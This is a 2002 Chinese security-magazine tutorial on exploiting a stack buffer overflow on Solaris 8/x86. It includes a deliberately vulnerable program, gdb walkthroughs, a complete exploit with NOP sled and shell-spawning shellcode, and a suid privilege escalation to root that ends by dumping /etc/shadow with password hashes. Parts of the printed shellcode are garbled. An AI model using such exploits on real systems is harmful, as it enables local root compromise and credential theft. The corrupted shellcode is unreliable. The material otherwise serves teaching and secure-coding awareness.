首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第36期->技术专题
期刊号: 类型: 关键词:
第一章 本地 EXPLOIT SOLARIS 8/INTEL X86 堆栈缓冲区溢出

作者:莫大 <master_moda@yahoo.com>
日期:2002-11-01

these papers are dedicated to Jinyong, whose books is so addictive and I spent lots of time reading them again and again.

        序言

我看到的与计算机安全有关的文章里,黑客总是与"地下活动"(Underground)呀、"黑帽子"(Blackhat)呀等等贬义词联系在一起。确实黑客活动给广大IT从业人员带来了许许多多的麻烦与时间损失,至少我是受害者。去年闹Codered和Nimda病毒(实际上应该叫病虫,因为它们象虫一样在各个机器上自我繁殖传播)的时候,我不得不熬几个夜忙着杀虫。当时是一边杀虫一边骂娘,恨不得把躲在暗处的病毒制造者打倒在地,再踏上N脚。

但是,骂归骂,研究还是要研究的。我想破了脑袋,想出了三点研究黑客的理由:

第一:
从大的方面来讲,帝国主义亡我之心不死,我们也不能歇着----亡帝国主义之心也要万岁!!两年前一个朋友的朋友的朋友找工作(在美国),遇到一个公司的面试。这个公司好象是为美国政府作事的(Contractor之类),面试当中提到他们在作IP Bomber (IP 炸弹 ), 大概就是用特殊的设备产生大量的IP 包裹去瘫痪敌方网络和系统。估计不会是简单的 Ping包裹。只不过这个工作需要足够高的Security Clearance (密级),至少美国公民,所以我的这位转折朋友没能去。
    
美国政府大把大把地花纳税人的票子把这个东西当进攻武器来研究,至少有一部分针对我们的,就象他们有一部分核武器对着我们一样。来而不往非礼也!我们当然也要研究这个超限战的利器来抗衡他们,让他们不敢轻举妄动。

第二:
如果你对灭帝国主义不感兴趣,或热衷于追求NOBEL和平奖,那么也要注意自我保护才行。要保护好公司和个人的系统,需要我们深入了解黑客的作案手段。少林寺的和尚说得好:习武是为了防身,不是为杀生!(虽说林寺八十一般绝技有史以来肯定杀了不少人,但那也叫正当防卫)。

第三:
即使你对黑与被黑都没有兴趣,但是作为一名IT从业人员,你也许会对计算机系统编程、如何Debug程序感兴趣。而黑客编程过程则会涉及到很多的系统编程与Debug,而且黑客们有很多现成的编程例子可供您参考借鉴。

实际上我就因为这第三点才开始对黑客编程进行研究的。看了不少的文章,自己也尝试着作了不少的例子(Case),有那么一点点心得。现在就从我作的例子中挑一些有代表性的出来,这些例子都是纯学术性的,不针对任何实际运行的程序,仅仅是为了让朋友们更深入地了解一下这方面的知识,套句美国人的话说这叫做"Ethic Hacking",希望能够提高大家对计算机安全的兴趣。

莫大


第一章:本地 EXPLOIT SOLARIS 8/INTEL X86 堆栈缓冲区溢出

引子:

缓冲区溢出(Buffer Overflow)大概是最常见的漏洞了,在N年前(N=1),我看过一篇文章比较缓冲区溢出漏洞与格式化字符串漏洞(Format String),文章提到已有上千例缓冲区溢出被黑客们成功地Exploit,而格式化字符串漏洞被Exploit仅有几十例。我会在下面第七章介绍Exploit格式化字符串漏洞的例子,这一章就从容易的开始,讲我们如何在本地(Local) Exploit Solaris/Intel X86上缓冲区溢出。

Intel X86处理器(Processor)是典型的CISC(Complex Instruction Set Computer)处理器,这是与RISC(Reduced Instruction Set Computer)型处理器相比较。顾名思义,CISC有庞大的、包罗万象的机器指令群(Instruction Set)、各种各样的寻址方法,所以它的机器指令长短不一。另一方面,CISC仅有有限的通用寄存器,比如X86处理器,若不算上它的浮点寄存器,只有EAX、EBX、ECX、EDDX四个通用寄存器和一些专用的堆栈寄存器、指针寄存器、段寄存器等等。

与CISC处理器相比较,RISC处理器的机器指令群(Instruction Set)只包括有限但通用的指令,其寻址方法也相对较少,机器指令长度固定(32位或更高级一些的64位)。但是RISC却拥有大量的通用寄存器。这些架构上的区别决定了CISC和RISC有不同的Exploit方法,我们后面一章会介绍如何Exploit RISC处理器中的代表人物Sparc,届时你们可以比较Exploit两种处理器的不同之处。关于CISC与RICS详细的介绍,有兴趣的请到网上查查。

我要用到的机器配置:PENTIUM III,800MHZ, 运行Solaris 8/Intel X86版本。机器名叫Shanghai----上海,那是我生活与战斗了七年的地方。就在那七年中,改革开放的春风风向先朝着南方几个城市吹,然后终于吹到了上海,最明显的就是欣欣向荣的房地产市场。我当时顶着太阳炙热的关照,奋战在一个又一个位于地平面以下的基坑里。


Solaris/Intel X86缓冲区在堆栈中的分配情况:


扯远了,还是回到我们的主题内容:如何Local Exploit Solaris/Intel X86上缓冲区溢出。请看下面这个程序vul.c。这个演示程序非常简单,它把用户输入的参数在函数Foo中用printf输出来。但请大家注意,这个vul.c是有缝的臭鸡蛋,结果引得天下英雄尽来叮。这条缝就是Foo中的函数strcpy,它把输入字符串s拷贝到缓冲区buf中,就是这个函数会造成缓冲区溢出!为什么它会造成如此严重的后果呢?

<==========================vul.c============================>
#include <stdio.h>
Foo(char* s)
{
    char buf[16]="";
    strcpy(buf, s);
    printf("The input String is %s\n", buf);
}
main(int argc, char* argv[])
{
    if(argc == 2)
    {
        Foo(argv[1]);
    }
    else
    {
        printf("Usage: %s <A string>\n", argv[0]);
    }

}
<===========================================================>

不入虎穴,焉得虎子。要知道为什么strcpy会导致缓冲区溢出,还得深入到基层(内存)中去。不过深入基层之前,请大家先到GNU的网站上去下载一些GNU的工具,象gcc、gdb等等,因为我们后面要经常用到它们来作程序编译(需要gcc)及Debug(需要gdb)。不熟悉这些工具的朋友请尽量发挥你们的悟性理解。

先把程序vul.c以Debug模式编译:

shanghai =>gcc vul.c -o vul -g

再用gdb运行它:

shanghai =>gdb vul
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details. This GDB was configured as "i386-pc-solaris2.8"...
/*
在程序入口处main设置一个断点
*/
(gdb) b main
Breakpoint 1 at 0x8050956: file vul.c, line 12.
/*
我以一个字符串--10个'A'作为程序vul的输入参数。
*/
(gdb) r AAAAAAAAAA
Starting program: /export/home/moda/buf_of/vul AAAAAAAAAA
Breakpoint 1, m12              if(argc == 2)
/*
程序在main处中断,我们接着单步执行(Single Step)到Foo
*/
(gdb) s
14                      Foo(argv[1]);
/*
程序即将要进入Foo,我们看看将要执行的汇编指令。
*/
(gdb) x/10i $eip
0x805095c <main+12>:    add    $0xfffffff4,%esp
0x805095f <main+15>:    mov    0xc(%ebp),%eax
0x8050962 <main+18>:    add    $0x4,%eax
0x8050967 <main+23>:    mov    (%eax),%edx
0x8050969 <main+25>:    push   %edx
0x805096a <main+26>:    call   0x8050904 <Foo>
0x805096f <main+31>:    add    $0x10,%esp
0x8050972 <main+34>:    jmp    0x805098a <main+58>
0x8050974 <main+36>:    add    $0xfffffff8,%esp
0x8050977 <main+39>:    mov    0xc(%ebp),%eax
/*
函数Foo在地址0x805096a处被main调用:"call 0x8050904 <Foo>"。而0x805096f为Foo调用后的返回地址,大家记住这个地址,因为下面要提到它。

接着我们用si(Single Instruction)一个指令一个指令地执行--------在情况不明的时候,摸着石子一步一步过河总是对的:
*/
(gdb) si
0x0805095f      14                      Foo(argv[1]);
(gdb) si
0x08050962      14                      Foo(argv[1]);
(gdb) si
0x08050967      14                      Foo(argv[1]);
(gdb) si
0x08050969      14                      Foo(argv[1]);
(gdb) si
0x0805096a      14                      Foo(argv[1]);
/*
在这里程序即将要进入Foo,我们看看寄存器当前的内容:
*/
(gdb) i reg
eax            0x8047bf8        134511608
ecx            0x0      0
edx            0x8047d0d        134511885
ebx            0xdfbfb000       -541085696
esp            0x8047bb4        0x8047bb4
ebp            0x8047bcc        0x8047bcc
esi            0x8047bb0        134511536
edi            0x8047c74        134511732
eip            0x805096a        0x805096a
eflags         0x202    514
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x0      0
fctrl          0x137f   4991
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---q
Quit
/*
在寄存器ESP中的是当前堆栈栈顶指针0x8047bb4, 而EBP为main函数堆栈栈底指针0x8047bcc,这个0x8047bcc是要大家记住的第二个地址,因为下面也要提到它。

继续向下执行
*/
(gdb) si
Foo (s=0x2 <Address 0x2 out of bounds>) at vul.c:4
4       {
(gdb) x/5i $eip
0x8050904 <Foo>:        push   %ebp
0x8050905 <Foo+1>:      mov    %esp,%ebp
0x8050907 <Foo+3>:      sub    $0x18,%esp
0x805090a <Foo+6>:      mov    0x8050a28,%al
0x805090f <Foo+11>:     mov    %al,0xfffffff0(%ebp)
(gdb) s
Foo (s=0x8047d0d "AAAAAAAAAA") at vul.c:5
5               char buf[16]="";
(gdb) s
6               strcpy(buf, s);
(gdb) s
7               printf("The input String is %s\n", buf);
/*
说时迟那时快,程序已经进入Foo中,并把输入的字符串拷贝到了缓冲区buf中。我们来看一下当前堆栈的内容:
*/
(gdb) x/20x $esp
0x8047b94:      0xdfb35d90      0x00000210      0x41414141      0x41414141
0x8047ba4:      0x00004141      0x00000000      0x08047bcc      0x0805096f
0x8047bb4:      0x08047d0d      0xdfb3d3a7      0xdfbf137f      0x08047bb0
0x8047bc4:      0xdfbfb000      0xdfbf137f      0x08047be8      0x0805081b
0x8047bd4:      0x00000002      0x08047bf4      0x08047c00      0x08050a10
(以下程序执行省略。。。)

从地址0x8047b9c到0x8047bab的区域是系统分配给buf的缓冲区,刚好16个字节,分别对应buf的16个字符;前面的10个字节已经填上了10个刚拷贝进来的字符'A'的ASCII码41。紧接着这16个字节的是0x08047bcc,就是我刚才要大家记住的调用函数main的堆栈栈底地址;再后面的是我要大家记住的被调用函数Foo的返回地址0x0805096f。

根据上面的分析我们可以画一个缓冲区在内存中的分布图:

|<--buf: 16 Byte-->|<--Calling Function $EBP: 4 Byte-->|<--Called Function RetAddr: 4 Byte -->|

大家看到,buf缓冲区被分配在堆栈中,而且是和重要的系统管理数据如:调用函数堆栈栈底地址、被调用函数的返回地址紧紧地靠在一块----这,就是悲剧的DNA根源。

在Foo中,buf是strcpy拷贝字符串的目标,而源字符串为s。strcpy忠实地把源字符串s完整地拷贝到以buf为开端的内存后面。如果s的长度超过buf的长度,也就是超过16个字节的话,调用函数main的堆栈栈底地址和被调用函数Foo的返回地址就会被覆盖掉,於是缓冲区溢出的悲剧就发生了。悲剧的结果轻则产生coredump, 重则被一大堆天下英雄Exploit。


EXPLOIT 缓冲区溢出:


下面是缓冲区溢出导致coredump的例子,我们给vul输入一个长度为20的字符串。根据上面的分析,这个字符串会在Foo中溢出20-16=4个字节(实际上还应该包括结尾的字节'\x00'),会把main的堆栈栈底地址覆盖掉:
    
shanghai =>vul  AAAAAAAAAAAAAAAAAAAA
The input String is AAAAAAAAAAAAAAAAAAAA
Segmentation Fault(coredump)

溢出的结果是段错误导致coredump,程序被系统终止执行。我们再用gdb看看coredump出来的core文件,vul中有源程序的symbol可以帮助分析。

shanghai =>gdb vul core
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-pc-solaris2.8"...
Core was generated by `vul AAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.1...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...done.
Loaded symbols for /usr/lib/libdl.so.1
#0  0x08050900 in init_dummy ()
/*
看看coredump时寄存器的内容:
*/
(gdb) i reg
eax            0x29     41
ecx            0x0      0
edx            0xe10e62e0       -519150880
ebx            0xdfbfb000       -541085696
esp            0x8047c00        0x8047c00
ebp            0x41414141       0x41414141
esi            0x8047bfc        134511612
edi            0x8047cc0        134511808
eip            0x8050900        0x8050900
eflags         0x10202  66050
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x0      0
fctrl          0x137f   4991
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/20x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) q
shanghai =>
shanghai =>

寄存器EBP中的内容为输入字符串"AAAA"的ASCII码0x41414141,系统把溢出来的0x41414141当作调用函数main的堆栈栈底地址而恢复给寄存器EBP。但是由于内存0x41414141中是不能访问的,结果造成段出错。

我们下面给vul输入同样的20个字符,不过这次试着用gdb来debug程序vul:

shanghai =>gdb vul
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show
warranty" for details.
This GDB was configured as "i386-pc-solaris2.8"...
(gdb) b main
Breakpoint 1 at 0x8050956: file vul.c, line 12.
(gdb) b Foo
Breakpoint 2 at 0x805090a: file vul.c, line 5.
(gdb) r AAAAAAAAAAAAAAAAAAAA
Starting program: /export/home/moda/buf_of/vul
AAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0x8047c0c) at
vul.c:12
12              if(argc == 2)
(gdb) c
Continuing.

Breakpoint 2, Foo (s=0x8047d21 'A' <repeats 20 times>)
at vul.c:5
5               char buf[16]="";
(gdb) s
6               strcpy(buf, s);
(gdb) s
7               printf("The input String is %s\n",
buf);
(gdb) s
The input String is AAAAAAAAAAAAAAAAAAAA
8       }
(gdb) x/20x 0x41414141
0x41414141:     Cannot access memory at address
0x41414141
(gdb)
(以下略。。。)

当我们企图访问地址0x41414141时,gdb果然报错"Cannot access memory at address"。

好了,coredump的情况就介绍到此为止。现在假设你是天下英雄中的一位,你将怎样exploit这个漏洞程序vul呢?我们再回顾一下在Intel/X86架构中缓冲区周围的内存分配情况:

|<--buf: 16 Byte-->|<--Calling Function $EBP: 4 Byte-->|<--Called Function RetAddr: 4 Byte -->|

要成功地Exploit这个程序:第一,我们要让buf溢出直到覆盖RetAddr(被调用函数Foo的返回地址);第二,覆盖后RetAddr的值必须指向我们设计的黑客码 。这样, 当被调用函数Foo运行结束准备返回时,它就糊里糊涂地沿着被修改过的RetAddr返回到我们的黑客码中。

下面的expl.c就是实现Exploit的一个例子,它先精心泡制一个长字符串(由bufferptr指向),再把这个长字符串作为输入参数来调用程序vul。vul在执行中缓冲区buf溢出,覆盖了RetAddr,结果是程序沿着新的RetAddr跳入我们的黑客码执行而产生一个shell。


<===========================expl.c============================>

#include <stdio.h>

#define NOP  0x90
#define NOPNUM  100
#define CRAP 0xbbbbbbb
shellCode[]=        /*from www.lsd-pl.net*/
    "\xeb_5cx1a"         /* jmp <shellcode+28> */
    "\x33\xd2"         /* xorl %edx,%edx */
    "\x58"         /* popl %eax */
    "\x8d\x78\x14"     /* leal 0x14(%eax),%edi */
    "\x57"         /* pushl %edi */
    "\x50"         /* pushl %eax */
    "\xab"         /* stosl %eax,%es:(%edi) */
    "\x92"         /* xchgl %eax,%edx */
    "\xab"         /* stosl %eax,%es:(%edi) */
    "\x88\x42\x08"     /* movb %al,0x8(%edx) */
    "
'5cx83\xef\x3b"     /* subl $0x3b,%edi */
    "\xb0\x9a"         /* movb $0x9a,%al */
    "\xab"         /* stosl %eax,%es:(%edi) */
    "\x47"         /* incl %edi */
    "\xb0\x07"         /* movb $0x07,%al */
    "\xab"         /* stosl %eax,%es:(%edi) */
    "\xb0\x0b"         /* movb $0x0b,%al */
    "\xe8\xe1\xffPcxff\xff"     /* call <shellcode+2> */
    "/bin/ksh";

get_esp()
{
__asm__("mov %esp, %eax");
}

main(int argc, char **argv)
{
char*  bufferPtr = NULL;
char*  dynPtr = NULL;
/*5 CRAPs = 20 byte, 1 byte terminator */
int bufferSize = NOPNUM + strlen(shellCode) + 1 + 20;  


int retAddr = 0;
int adjustment = 0;
int esp = get_esp();

int i;

if(argc >= 2)
{
      adjustment = atoi(argv[1]);
}

retAddr = esp + adjustment;

bufferPtr = (char *) malloc(bufferSize);
dynPtr = bufferPtr;

*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *) retAddr;
dynPtr += 4;

for(i=0; i<NOPNUM; i++)
{
  *dynPtr++ = NOP;
}

for(i=0; i<strlen(shellCode); i++)
{
  *dynPtr++ = shellCode[i];
}
*dynPtr = 0;

printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);

execl("./vul", "vul", bufferPtr, NULL);
}

<=============================================================>

让我们用gdb来仔细研究一下这个精心泡制的长字符串。先以debug模式编译expl.c:

shanghai =>gcc expl.c -o expl -g

再用gdb来Debug:

shanghai =>gdb expl
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.8"...
(gdb) b main
Breakpoint 1 at 0x8050996: file expl.c, line 35.
(gdb) b 79
Breakpoint 2 at 0x8050aca: file expl.c, line 79.
/*
我们在源程序expl.c的第79行,也就是printf函数处设置一个中断点。因为当程序运行到这里时,我们的长字符串已经炮制完毕。

开始执行:
*/
(gdb) r
Starting program: /export/home/moda/buf_of/expl

Breakpoint 1, main (argc=1, argv=0x8047c00) at expl.c:35
35       char*  bufferPtr = NULL;
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0x8047c00) at expl.c:79
79        printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);
/*
现在程序暂时中断在第79行。我们来看看刚刚作好的长字符串:
*/
(gdb) x/20x bufferPtr
0x8060d88:      0x0bbbbbbb      0x0bbbbbbb      0x0bbbbbbb      0x0bbbbbbb
0x8060d98:      0x0bbbbbbb      0x08047ba8      0x90909090      0x90909090
0x8060da8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8060db8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8060dc8:      0x90909090      0x90909090      0x90909090      0x90909090
(gdb)
0x8060dd8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8060de8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8060df8:      0x90909090      0x90909090      0x90909090      0xd2331aeb
0x8060e08:      0x14788d58      0x92ab5057      0x084288ab      0xb03bef83
0x8060e18:      0xb047ab9a      0x0bb0ab07      0xffffe1e8      0x69622fff
(gdb)
0x8060e28:      0x736b2f6e      0x00000068      0x00001f40      0x00000000
0x8060e38:      0x00000000      0x00000000      0x00000000      0x00000000
0x8060e48:      0x00000000      0x00000000      0x00000000      0x00000000
0x8060e58:      0x00000000      0x00000000      0x00000000      0x00000000
0x8060e68:      0x00000000      0x00000000      0x00000000      0x00000000
(以下程序执行省略。。。)


1.  
这个字符串从0x8060d88开始到0x8060e2c结束,有165个字节。它作为漏洞程序vul的输入参数,将要溢出165-16=149个字节。
2.  
最前面20个字节的0xbb将用于覆盖缓冲区buf的16个字节和main的$EBP的4个字节。
3.  
紧接着20个0xbb的0x08047ba8将要覆盖Foo的返回地址RetAddr。这个0x08047ba8是由函数get_esp()从expl进程中取得的堆栈栈顶ESP值。由于expl的运行环境与vul类似,所以我们可以用这个ESP值大致推出vul进程的堆栈位置,虽然这只是个宏观调控的手段而已,但是"虽不中,亦不远矣";我们只需要对这个新的返回地址再作些微观调控,就可以让它准确地指向跟在后面的一大堆0x90中。微观调控的手段即为expl的输入参数adjustment。
4.  
对于Intel/X86的处理器来说,0x90就是NOP。NOP,就是NO OPERATION的意思。大多数情况下它就象很多机关单位的干部一样,占着一个位置却不作什么事。我们这个长字符串共有干部100个,不过这里我要他们做点事,织一个安全网----就是有人跳楼的时候,消防队员在楼下张开接人的那种网。网越大越容易接住人,所以我这里安排了多达100号机关干部做这个大网等着。刚才说了,我们会让修改后的RetAddr指向这个安全网,所以当Foo结束运行返回时,程序沿着修改后的RetAddr跳到网中来了。
5.  
紧跟在干部x90后面的是黑客码,这段黑客码一旦执行起来,就会产生一个ksh shell。
6.  
在黑客码后面的0x00结束整个长字符串。
7.  
差点忘了!这段黑客码是从www.lsd-pl.net下载的,我们后面还要用到这个网站上的黑客码。他们的码短小精悍,比我自己写的好多了!


好了,我们来真枪实弹演习一下expl的威力。先用-16作为adjustment:

shanghai =>expl -16
esp=0x08047bf8, adjustment=0xfffffff0, jump to 0x08047be8!
The input String is ??                       ??                          ??                             ??                                ??xWP???G??                                   ?            ????/bin/ksh
Segmentation Fault(coredump)
shanghai =>

这里根据宏观调控估算的堆栈位置是0x08047bf8,再加上-16个字节来微调,所以覆盖Foo返回地址的应该是:0x08047bf8-0x10=0x08047be8。但是vul运行有段错误。让我们用GDB来分析一下错在哪儿。

shanghai =>
shanghai =>gdb vul core
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-pc-solaris2.8"...
Core was generated by `vul ??                              ??                                 ??                                    ??
                                       ??                                          ?ogram terminated with
signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.1...done.
Loaded symbols for /usr/lib/libc.so.1
Reading symbols from /usr/lib/libdl.so.1...done.
Loaded symbols for /usr/lib/libdl.so.1
#0  0x08047be8 in ?? ()
/*
先看一下寄存器的内容:
*/
(gdb) i reg
eax            0xba     186
ecx            0x0      0
edx            0xe109be00       -519455232
ebx            0xdfbfb000       -541085696
esp            0x8047b70        0x8047b70
ebp            0xbbbbbbb        0xbbbbbbb
esi            0x8047b6c        134511468
edi            0x8047c30        134511664
eip            0x8047be8        0x8047be8
eflags         0x10206  66054
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x0      0
fctrl          0x137f   4991
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---q
Quit
/*
由上面寄存器内容可以看见,就在段出错的那一刹那间,程序执行指针EIP指向的正是新的RetAddr----0x8047be8,程序在企图执行这个地址的指令时出了错。那么我们的黑客码在何处呢?它应该在地址0x8047be8附近不远处:
*/
(gdb) x/20x $eip-0x40
0x8047ba8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8047bb8:      0x90909090      0x90909090      0x90909090      0x90909090
0x8047bc8:      0x90909090      0x90909090      0x90909090      0xd2331aeb
0x8047bd8:      0x14788d58      0x92ab5057      0x084288ab      0xb03bef83
0x8047be8:      0xb047ab9a      0x0bb0ab07      0xffffe1e8      0x69622fff
(gdb) x/20x $eip-0x20
0x8047bc8:      0x90909090      0x90909090      0x90909090      0xd2331aeb
0x8047bd8:      0x14788d58      0x92ab5057      0x084288ab      0xb03bef83
0x8047be8:      0xb047ab9a      0x0bb0ab07      0xffffe1e8      0x69622fff
0x8047bf8:      0x736b2f6e      0x08040068      0x08047ef9      0x08047f13
0x8047c08:      0x08047f22      0x08047f3d      0x08047f55      0x08047f70
(下略。。。)


哇塞,在距离新的RetAddr约0x40字节的地方,就可以看见我们的干部0x90909090整整齐齐地排列着。实际上,我们的安全网在0x8047b6c到0x8047bd0之间张开,而新的RetAddr地址0x8047be8却指在网外面。怪不得子程序返回时沿着0x8047be8跳到了安全网外面,造成coredump。

看来我们需要对RetAddr作进一步微观调控:给它-64(即0x40)字节,它就会指向安全网中:

shanghai =>expl -64
esp=0x08047bf8, adjustment=0xffffffc0, jump to 0x08047bb8!
The input String is ??                       ??                          ??                             ??                                ??xWP???G??                                   ?            ????/bin/ksh
$
$
$ pwd
/export/home/moda/buf_of
$ ls -l
total 48
-rwxr-xr-x   1 moda other      10524 May  3 18:05    expl
-rw-r--r--   1 moda other       1816 May  3 18:05    expl.c
-rwxr-xr-x   1 moda other       9416 May  8 14:18    vul
-rw-r--r--   1 moda other        250 May  2 15:36    vul.c
$
$
$

Yeah!!中了!!!中举人了!!!!黑客码成功执行,产生一个ksh Shell,我们的prompt也由"shanghai =>"变成了ksh Shell的"$"符号。

且慢高兴!革命尚未完全成功,黑客们还有努力。请注意上面用"ls -l"命令显示出vul仅属于普通用户,其权限只有一点点,在它的运行环境下产生的ksh Shell也就被限制得只有一点点权限。有很多事情,象加一个用户账号,减两个用户账号都是没法作的。这对于追求自由的黑客们来说,是万万不能接受的!!

那么如何提升权限呢?在UNIX中,很多可执行文件有一种特别的权限设置叫suid,它们的权限属性类似于"-rwsr-xr-x",里面有个"s"。这种权限表现为:文件的所有者为用户A,当用户B执行这个文件时,它的进程在运行过程中仍然具有所有者A的权限,而不是当前使用者B的权限。我这里罗哩罗嗦了半天你也许还不清楚,举个例子:在UNIX系统中的,普通用户如你我他她等通过命令passwd来改变密码,这个passwd的执行文件就设有suid权限。由于它的所有者为超级用户root,这样它在运行时就具有root的权限,所以它才可以修改/etc/passwd和/etc/shadow的文件内容,帮你改变密码。假如它没有设置suid权限,它会以普通用户的权限运行,在修改/etc/passwd和/etc/shadow时将得到"permission denied"的错误信息。

可以用find来查一下哪些文件具有suid权限:

shanghai =>
shanghai =>su
Password:
#
# cd /
# find . -type f -perm -4000 2>/dev/null
./export/home/moda/buf_of/vul.rt
./usr/lib/lp/bin/netpr
./usr/lib/fs/ufs/quota
./usr/lib/fs/ufs/ufsdump
./usr/lib/fs/ufs/ufsrestore
./usr/lib/pt_chmod
./usr/lib/utmp_update
./usr/lib/sendmail
./usr/lib/acct/accton
./usr/lib/uucp/remote.unknown
./usr/lib/uucp/uucico
./usr/lib/uucp/uusched
./usr/lib/uucp/uuxqt
./usr/bin/i86/ps
./usr/bin/i86/uptime
./usr/bin/i86/w
./usr/bin/at
./usr/bin/atq
./usr/bin/atrm
./usr/bin/crontab
./usr/bin/eject
./usr/bin/fdformat
./usr/bin/login
./usr/bin/newgrp
./usr/bin/passwd
./usr/bin/pfexec
./usr/bin/rcp
./usr/bin/rdist
(以下略。。。)
#

还很不少呢!如果我们能在其中找到一个执行程序有缓冲区溢出的毛病----象vul那样,我们就可以用上面expl的方法泡制一个长的字符串去攻击它,让它溢出后产生一个shell。这时由于执行程序设有suid权限,它是以超级用户的权限运行,所以脱胎于它的shell也就继承了超级用户的权限。

看下面的例子,同样的执行程序vul,但给它超级用户root的suid权限。

shanghai =>su
Password:
# ls -l
total 48
-rwxr-xr-x   1 moda other      10524 May  3 18:05        expl
-rw-r--r--   1 moda other       1816 May  3 18:05        expl.c
-rwxr-xr-x   1 moda other       9416 May  8 14:18        vul
-rw-r--r--   1 moda other        250 May  2 15:36        vul.c
# chown root vul
# chmod u+s vul
# ls -l
total 48
-rwxr-xr-x   1 moda other      10524 May  3 18:05        expl
-rw-r--r--   1 moda other       1816 May  3 18:05        expl.c
-rwsr-xr-x   1 root     other       9416 May  8 14:18        vul
-rw-r--r--   1 moda other        250 May  2 15:36        vul.c
# exit
/*
在进行exploit之前,我只是moda----一只飞也飞不高的小小鸟而已,想要偷看/etc/shadow 的内容,却吃了个闭门羹。
*/
shanghai =>whoami
moda
shanghai =>id
uid=1001(moda) gid=1(other)
shanghai =>more /etc/shadow
/etc/shadow: Permission denied
/*
现在用同样的expl去攻击vul:
*/
shanghai =>expl -64
esp=0x08047bf8, adjustment=0xffffffc0, jump to 0x08047bb8!
The input String is □
                       □
                          □
                             □
                                □
                                               □□□bin/ksh
#
/*
看看我这下是谁?
*/
# /usr/ucb/whoami
root
# id
uid=1001(moda) gid=1(other) euid=0(root)
/*
我现在是超级用户root!!持有root的有效ID(EUID)。再也不是那只飞也飞不高的小小麻雀鸟,而是"天高任鸟飞"中的那只Eagle鸟,"海阔任鱼游"中的那条Shark鱼!!

我想要看/etc/shadow,系统就得给我看:
*/
# more /etc/shadow
root:nzlCZP092M48U:6445::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
moda:V7AGLwGPe6dm2:::::::

我还可以加减用户账号,还可以象网管那样踢别人屁股。。。哇,好自由好Happy!!

# exit
shanghai =>

结尾的话:

好了,我们的第一章也快要结束了。最后给程序员一个忠告,编程时避免用不安全的函数象:strcpy、strcat、scanf、gets、getc等等, 因为它们都不检查输入参数的大小,不检查缓冲区边界是否溢出。应该用它们的兄弟函数象strncpy、strncat等等来防止缓冲区溢出。
版权所有,未经许可,不得转载